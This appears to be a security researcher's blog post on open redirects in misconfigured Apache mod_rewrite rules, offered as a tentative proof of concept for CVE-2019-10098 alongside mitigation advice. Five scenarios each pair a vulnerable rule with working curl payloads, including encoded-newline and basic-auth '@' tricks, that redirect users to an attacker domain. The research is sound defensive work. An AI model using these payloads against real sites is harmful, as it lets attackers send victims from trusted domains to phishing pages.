Open Redirects In Improperly Configured mod_rewrite Rules (PoC for CVE-2019-10098?)

I recently came across the following Apache vulnerability: "mod_rewrite potential open redirect (CVE-2019-10098)", but I couldn't find a proof of concept, so I started playing around with possible open redirects in mod_proxy that are caused by improperly configured rewrite rules.

The vulnerability was described as

Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an an unexpected URL within the request URL.

The Apache changelog hints towards PCRE_DOTALL and line break characters:

*) SECURITY: CVE-2019-10098 (cve.mitre.org)
rewrite, core: Set PCRE_DOTALL flag by default to avoid unpredictable
matches and substitutions with encoded line break characters. [Yann Ylavic]

The OSS Security Mailing list gives another hint about this issue:

Mitigation: Anchor captures used as back-references, prefix self-referential redirects with
/ or scheme, host, and port.

Here's the commit that fixes it by setting PCRE_DOTALL by default. According to perldoc.perl.org this option will instruct . to match newlines:

Treat the string as single line. That is, change "." to match any character whatsoever, even a newline, which normally it would not match.
Used together, as /ms , they let the "." match any character whatsoever, while still allowing "^" and "$" to match, respectively, just after and just before newlines within the string.

From the mitigation advice, I got the idea that open redirect issues might arise if a back reference (aka $1) is not prefixed by / or http://host.tld:80. The Apache documentation has a nice page on rewrite rules, so after a while I came up with some scenarios that might result in an open redirect.

I believe that Scenario 4 might be one example of CVE 2019-10098.

Scenario 1: Simple self-reference

Let's assume that a website changed its URL scheme, but wants to keep old links working by redirecting to the new resource. Example:

  • http://redirect.local/oldwebsite/index.html should return http://redirect.local/index.html

A naive configuration could look like this:

        RewriteEngine On
        RewriteRule ^/oldwebsite(.*) $1

An attacker can then use /oldwebsite<new URL> to cause a redirect:

$> curl -kI 'https://redirect.local/oldwebsitehttp://evilwebsite.com/'
HTTP/2 302 
date: Sun, 27 Oct 2019 01:13:34 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com/

Scenario 2: Suffixes

Let's say a website wants to have "fancy" looking URLs without the file's extension in it.

  • http://redirect.local/page/hello-world should load /hello-world.html

An administrator might add the following RewriteRule:

        RewriteEngine On
        RewriteRule ^/page(.*) $1.html

A normal request will return hello-world.html's contents just fine:

$> curl -k 'https://redirect.local/page/hello-world'
hello world

But it also redirects to another location as well:

$> curl -kI 'https://redirect.local/pagehttp://evilwebsite.com/evil' HTTP/2 302 
date: Sun, 27 Oct 2019 01:34:36 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com/evil.html

Scenario 3: Schemes & Hosts

Let's assume different versions of an API that are handled by different systems (i.e. v1 is legacy and v2 is current). The systems have entries in /etc/hosts or the local DNS server and run on port 8080.

  • http://redirect.local/api/v1/info should go to http://v1:8080/info
  • http://redirect.local/api/v2/test should go to http://v2:8080/test

The frontend server could use the following rules to distribute the requests:

        RewriteEngine On
        RewriteRule ^/api/(.*)/(.*) http://$1:8080/$2

This is also vulnerable:

$> curl -Ik 'https://redirect.local/api/evilwebsite.com/foo'
HTTP/2 302 
date: Sun, 27 Oct 2019 01:44:43 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com:8080/foo

Scenario 4: PoC for CVE 2019-10098?

Another common usage scenario for mod_rewrite is the upgrade from HTTP -> HTTPS.

  • http://redirect.local/ should be redirect to https://redirect.local/

One could come up with the following rewrite rules:

    RewriteEngine On
    RewriteRule (.*)$ https://redirect.local$1

Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to https://redirect.local.evilwebsite.com):

curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is
HTTP/2 302 
date: Mon, 28 Oct 2019 03:36:58 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local.evilwebsite.com

By default, the / is also matched by (.*), so the same redirect would not be possible without the bug:

curl -Ik 'https://redirect.local/.evilwebsite.com' --path-as-is
HTTP/2 302 
date: Mon, 28 Oct 2019 03:41:31 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local/.evilwebsite.com

The observation also fits the mitigation advice:

  • Prefixing the back references ($1) with / would prevent extending the domain and therefore the redirect.
  • Usage of the ^ anchor would prevent a successful match in this specific case.

Scenario 5: Basic Auth

However, I disagree with the suggestion that prefixing with host, scheme and port helps. Let's assume the following rewrite rule:

    RewriteEngine On
    RewriteRule (.*)$ https://redirect.local:443$1

It has the scheme https, the host redirect.local and port 443. But because : is used in http basic authentication, we can turn the prefix into login credentials using @ and redirect anyway:

curl -LIk 'https://redirect.local/%0afoo@0day.work' --path-as-is
HTTP/2 302 
date: Mon, 28 Oct 2019 03:49:22 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local:443foo@0day.work

HTTP/1.1 200 OK
Date: Mon, 28 Oct 2019 03:49:23 GMT
X-Powered-By: Express
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 11611
ETag: W/"2d5b-rk6EptGgfzq/+H/heOPKiDdmsVE"
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close

I believe that there are many more possibilities to create misconfigured rewrite rules that lead to open redirect? Do you know any? Let me know! :-)

To be honest, I am not completely sure if scenario 4 is really a PoC for CVE 2019-10098, but it kind of feels like it. Please correct me if I am mistaken.

To review all your rewrite rules, you can use the following command:

$> grep -irn 'rewrite' /etc/apache2/

-=-